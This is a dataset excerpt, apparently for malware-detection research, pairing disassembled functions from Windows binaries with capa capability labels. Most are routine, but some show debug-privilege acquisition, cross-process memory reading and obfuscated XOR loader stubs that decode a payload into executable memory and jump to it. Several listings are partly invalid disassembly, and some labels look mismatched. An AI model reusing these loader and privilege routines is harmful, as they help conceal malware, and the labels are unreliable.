joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b252c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4b25ce
cmp dword [ebx + 0x94], 0
jne 0x4b25c8
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4b2478
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4b25c8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4b258e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4b25c8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00434d2c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4b259d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4b27ec
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x56b284]
cmp dword [eax + 0x170], 0
je 0x4b2951
test bl, bl
jne 0x4b289f
cmp dword [esi + 0x9c], 0
jne 0x4b2894
mov eax, esi
call fcn.004b56dc
push eax
push 0x4b26f8
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4b2865
mov eax, dword [0x56b284]
cmp byte [eax + 0xd3], 0
je 0x4b2865
mov eax, dword [esi + 0xd8]
call fcn.004084e4
mov edi, eax
cmp edi, 0
jl 0x4b2865
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4b284e
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4b2894
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00434d2c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4b2874
inc dword [esi + 0x9c]
jmp 0x4b2951
cmp dword [esi + 0x9c], 0
jle 0x4b2951
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4b2951
cmp dword [esi + 0x44], 0
je 0x4b28fc
mov eax, dword [0x56b284]
cmp byte [eax + 0xd3], 0
je 0x4b28fc
mov eax, dword [esi + 0xd8]
call fcn.004084e4
mov edi, eax
cmp edi, 0
jl 0x4b28fc
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4b28e5
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4b292b
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00434d2c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4b290b
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x4a5a74]
call fcn.004086a4
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x5352c0
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo_1
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x5367e8
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x53687c
xor eax, eax
push ebp
push 0x536875
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x28]
push eax
push 0x536884
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
test eax, eax
je 0x53685e
mov dword [ebp - 0x20], 2
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53687c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x53a614
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x56b4a0
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x53a636
shr eax, 1
xor eax, 0xedb88320
jmp 0x53a638
shr eax, 1
dec edx
jne 0x53a624
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x53a61d
mov byte [0x56b8a0], 1
pop esi
pop ebx
ret

Function at 0x53a654
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x56b8a0], 0
jne 0x53a66b
call fcn.0053a614
mov eax, edi
dec eax
test eax, eax
jl 0x53a693
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x56b4a0]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x53a675
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x53d43c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x14]
movzx edx, byte [eax + 0x461]
movzx ecx, dl
cmp ecx, 6
ja case.0x53d4d6.0
jmp dword [ecx*4 + 0x53d46f]
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x53d4a1
sub dl, 8
je 0x53d4b0
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d0e4
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d13c
jmp case.0x53d4d6.0
movzx ecx, byte [eax + 0x460]
cmp ecx, 0x10
ja case.0x53d4d6.0
movzx ecx, byte [ecx + 0x53d4dd]
jmp dword [ecx*4 + 0x53d4ee]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d1e8
jmp case.0x53d4d6.0
cmp dl, 3
jne 0x53d51b
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d240
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d1fc
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d284
jmp case.0x53d4d6.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x53d546
sub dl, 8
je 0x53d552
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d2b0
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d31c
jmp case.0x53d4d6.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x53d571
sub dl, 8
je 0x53d57d
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d3d8
jmp case.0x53d4d6.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x53d400
mov edx, dword [eax + 0x468]
mov ecx, dword [ebx + 0x1c]
dec ecx
imul edx, ecx
mov esi, edx
add esi, dword [eax + 0x450]
mov dword [ebp - 0x10], esi
mov esi, dword [eax + 0x454]
mov dword [ebp - 0xc], esi
add edx, dword [eax + 0x44c]
mov dword [ebp - 0x14], edx
mov esi, ecx
test esi, esi
jb 0x53d61f
inc esi
mov eax, dword [ebx + 0x20]
inc eax
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [ebp + 8]
push eax
movzx eax, byte [ebx + 0x48]
mov ecx, dword [ebx + eax*4 + 0x40]
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.0053c5e8
test eax, eax
je 0x53d61f
mov eax, ebx
call fcn.0053d628
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
lea edx, [eax + 1]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call dword [ebp - 0x20]
movzx eax, byte [ebx + 0x48]
xor al, 1
mov byte [ebx + 0x48], al
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0x468]
sub dword [ebp - 0x10], eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x18]
add dword [ebp - 0xc], eax
dec esi
jne 0x53d5b8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x53d628
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x53d659
dec al
je 0x53d694
dec al
je 0x53d6d9
dec al
je 0x53d742
jmp 0x53d7cc
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x53d7cc
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x53d669
jmp 0x53d7cc
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x53d7cc
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x53d6a4
jmp 0x53d7cc
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x53d7cc
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x53d708
xor ebp, ebp
jmp 0x53d718
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x53d721
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x53d6e9
jmp 0x53d7cc
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x53d7cc
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x53d79b
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0053a69c
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x53d756
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x544bf8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], edx
lea edi, [ebp - 0x34]
xor eax, eax
push ebp
push 0x544d36
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x58]
push eax
call sub.kernel32.dll_GetSystemInfo_1
xor eax, eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
jmp 0x544cd5
cmp dword [edi + 0x10], 0x1000
jne 0x544cd2
cmp dword [edi + 0x14], 4
jne 0x544cd2
cmp dword [edi + 0xc], 0
je 0x544cd2
test byte [edi + 0x14], 4
je 0x544cd2
mov eax, dword [edi + 0xc]
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x543c3c]
call fcn.004086a4
add esp, 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [edi + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [edi]
push eax
mov eax, dword [0x56b8c4]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x544cd2
mov eax, dword [ebp - 4]
call fcn.004084dc
test eax, eax
jle 0x544cd2
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x543c68]
call fcn.004086a4
add esp, 4
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x18]
lea eax, [eax + edx*4 - 4]
mov edx, dword [ebp - 4]
mov ecx, dword [0x543c3c]
call fcn.004086ec
add ebx, dword [edi + 0xc]
cmp esi, ebx
jbe 0x544cf0
push 0x1c
push edi
push ebx
mov eax, dword [0x56b8c4]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x544c36
mov eax, dword [0x56b8c4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [0x543c68]
call fcn.004086ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x544d3d
lea eax, [ebp - 8]
mov edx, dword [0x543c68]
call fcn.004086b0
lea eax, [ebp - 4]
mov edx, dword [0x543c3c]
call fcn.004086b0
ret
Function at 0x100093a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x10009405
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.10008f7a
push eax
push esi
push dword [ebp + 8]
call fcn.10008f2f
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.10008f6a
jle 0x10009444
and byte [ebx - 0x836278], 0xff
dec dword [eax - 0x8263]
inc esi
test dword [esi - 1], edi
invalid
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x10009400
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x10009408
inc ebp
invalid
push edi
push edi
mov byte [ebp - 0x70], 0x16
call fcn.10008f6a
rcr dword [edi - 0x7a728714], 0x7c
invalid
Function at 0x100094c9
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.10008edb
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x100094a7
call fcn.10008f6a
cmp al, 0xb3
xor cl, byte [ebx - 0x1fcc382]
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x10009759
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x1000950f
cmp dword [eax + 0xc], ebx
je 0x100095b2
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.10008f6a
aam 0xe8
inc esp
sbb eax, 0x750c5d39
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
ret
call fcn.10008f6a
loope 0x1000962a
insb byte es:[edi], dx
jo 0x10009547
xchg dword [eax + 0x3b000000], esp
ret
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
inc ebp
or al, 0x66
cmp eax, dword [edi + 6]
jne 0x10009641
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000965f
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
mov ch, 0x54
invalid
invalid
push dword [ebx]
ror byte [ecx - 0x3e7443bb], cl
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x100096bd
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x100096a4
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x100096ad
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x100096b7
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10009699
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10009623
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x415ae0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00415ba0
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret
Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret

Function at 0x403bf8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x10008880
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
mov esi, dword [ebp + 0xc]
push edi
call fcn.100ed180
test eax, eax
jne 0x100089e6
cmp byte [0x101170fc], al
jne 0x100088a4
xor edi, edi
jmp 0x100088bf
push 5
call dword [0x10117140]
mov edi, eax
add esp, 4
test edi, edi
je 0x100088bf
push edi
call dword [0x10117148]
add esp, 4
mov edx, dword [ebp + 8]
test edx, edx
jle 0x100089ce
test esi, esi
je 0x100089ce
cmp dword [0x10119650], 0
jne 0x1000895a
push 0
call fcn.100ed180
movups xmm0, xmmword [str.expand_32_byte_k]
add esp, 4
movups xmmword [0x10119650], xmm0
test eax, eax
jne 0x10008906
push 0x2c
push eax
push 0x10119660
call sub.VCRUNTIME140.dll_memset
jmp 0x10008936
cmp dword [0x1011720c], 0
je 0x10008929
push 0x2c
push 0
push 0x10119660
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1011720c]
mov dword [0x10119660], eax
jmp 0x10008936
push 0x10119660
push 0x2c
push eax
mov eax, dword [eax + 0x38]
call eax
mov eax, dword [0x10119680]
add esp, 0xc
mov edx, dword [ebp + 8]
xor cl, cl
mov dword [0x1011968c], eax
mov dword [0x10119680], 0
mov byte [0x101196d0], cl
jmp 0x10008960
mov cl, byte [0x101196d0]
movzx eax, cl
cmp edx, eax
jle 0x100089ae
test cl, cl
je 0x10008989
movzx eax, cl
push eax
push 0x10119690
push esi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x101196d0]
add esp, 0xc
sub dword [ebp + 8], eax
add esi, eax
inc dword [0x10119680]
mov edx, 0x10119650
mov ecx, 0x10119690
call fcn.100ed180
mov edx, dword [ebp + 8]
mov cl, 0x40
mov byte [0x101196d0], cl
cmp edx, 0x40
jg 0x10008967
movzx eax, cl
sub eax, edx
push edx
add eax, 0x10119690
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 8]
add esp, 0xc
sub byte [0x101196d0], al
jmp 0x100089d8
mov dword [0x10119650], 0
test edi, edi
je 0x100089e6
push edi
call dword [0x10117150]
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100ed180
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x100ed18f
pop dword [ebp - 0x38]
mov eax, 0x100ed18f
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x35dbaa4e
add dword [ebp - 0x48], 0x18769afd
mov dword [ebp - 0x44], 0x446c2f72
add dword [ebp - 0x44], 0xedc71cd3
mov dword [ebp - 0x40], 0x2bc7790e
add dword [ebp - 0x40], 0x2084cb20
mov dword [ebp - 0x3c], 0x789c9bd3
add dword [ebp - 0x3c], 0x8763642d
lea eax, [ebp - 0x48]
push eax
mov eax, 0xb3d74c2b
add eax, 0x5c38c469
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xb9513b48
add dword [ebp - 0x48], 0xbb212e0e
mov dword [ebp - 0x44], 0xfaf15b6a
sub dword [ebp - 0x44], 0xb984f9f5
mov dword [ebp - 0x40], 0xb74baa9d
add dword [ebp - 0x40], 0xac23c1cf
mov dword [ebp - 0x3c], 0xef05de50
add dword [ebp - 0x3c], 0x10fa21b0
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x14063c32
sub eax, 0x3f62b6e
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x6c1dd
push 0
call eax
mov ecx, 0x513c
mov edx, eax
mov ebx, 0x10123e00
add ebx, dword [ebp - 0x38]
mov esi, 0x54d2bee
add esi, 0x63ca1e50
xor dword [ebp - 0x10], edx
mov edi, dword [ebx]
add dword [ebp - 8], 0x9b2067fd
xor edi, esi
xor dword [ebp - 0x24], edx
mov dword [edx], edi
mov dword [ebp - 0x10], 0xc0d3a087
add edx, 4
add ebx, 4
loop 0x100ed2a0
add eax, 0x137c3
mov ebx, eax
add eax, 5
mov ecx, 0x82c689ca
sub ecx, 0x72c689ca
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x53181b4
add eax, 0xfb0ebca5
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xba7c8d4f
sub dword [ebp - 0x5c], 0x6c2a4804
mov dword [ebp - 0x58], 0x9fda7e16
add dword [ebp - 0x58], 0x9258ce2f
mov dword [ebp - 0x54], 0xa43da7b8
sub dword [ebp - 0x54], 0x57f1638a
mov dword [ebp - 0x50], 0xdd2dff41
sub dword [ebp - 0x50], 0xdd2dff41
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x37930e75
sub eax, 0x37528de9
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xc32d39b7
add dword [ebp - 0x5c], 0xb1452f9f
mov dword [ebp - 0x58], 0xdff7aa7f
add dword [ebp - 0x58], 0x6174b6f6
mov dword [ebp - 0x54], 0xc9aaa9a3
sub dword [ebp - 0x54], 0x663b3d37
mov dword [ebp - 0x50], 0xbf89e6ad
sub dword [ebp - 0x50], 0xbf89e6ad
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xd710a8a3
add eax, 0x292fd831
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38279
push 0
call eax
mov ecx, 0x6ea22578
sub ecx, 0x6ea1d7d7
xor ebx, ebx
add ebx, eax
mov esi, 0xc2bcd5e9
sub esi, 0xc27bc5e9
add esi, dword [ebp - 0x4c]
mov edi, 0x90ec7f2d
add edi, 0xbf4a3cd7
mov dword [ebp - 0x40], 0xc3fe651f
mov edx, dword [esi]
xor edx, edi
xor dword [ebp - 0x2c], 0x37bd0bb9
mov dword [ebx], edx
mov dword [ebp - 0xc], 0xe52b9c92
add ebx, 4
add esi, 0xa1d05a07
sub esi, 0xa1d05a03
loop 0x403f7d
add eax, 0xf7fafc4d
add eax, 0x8062d0a
xor ebx, ebx
add ebx, eax
add eax, 0xbd827179
add eax, 0x427d8e8c
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret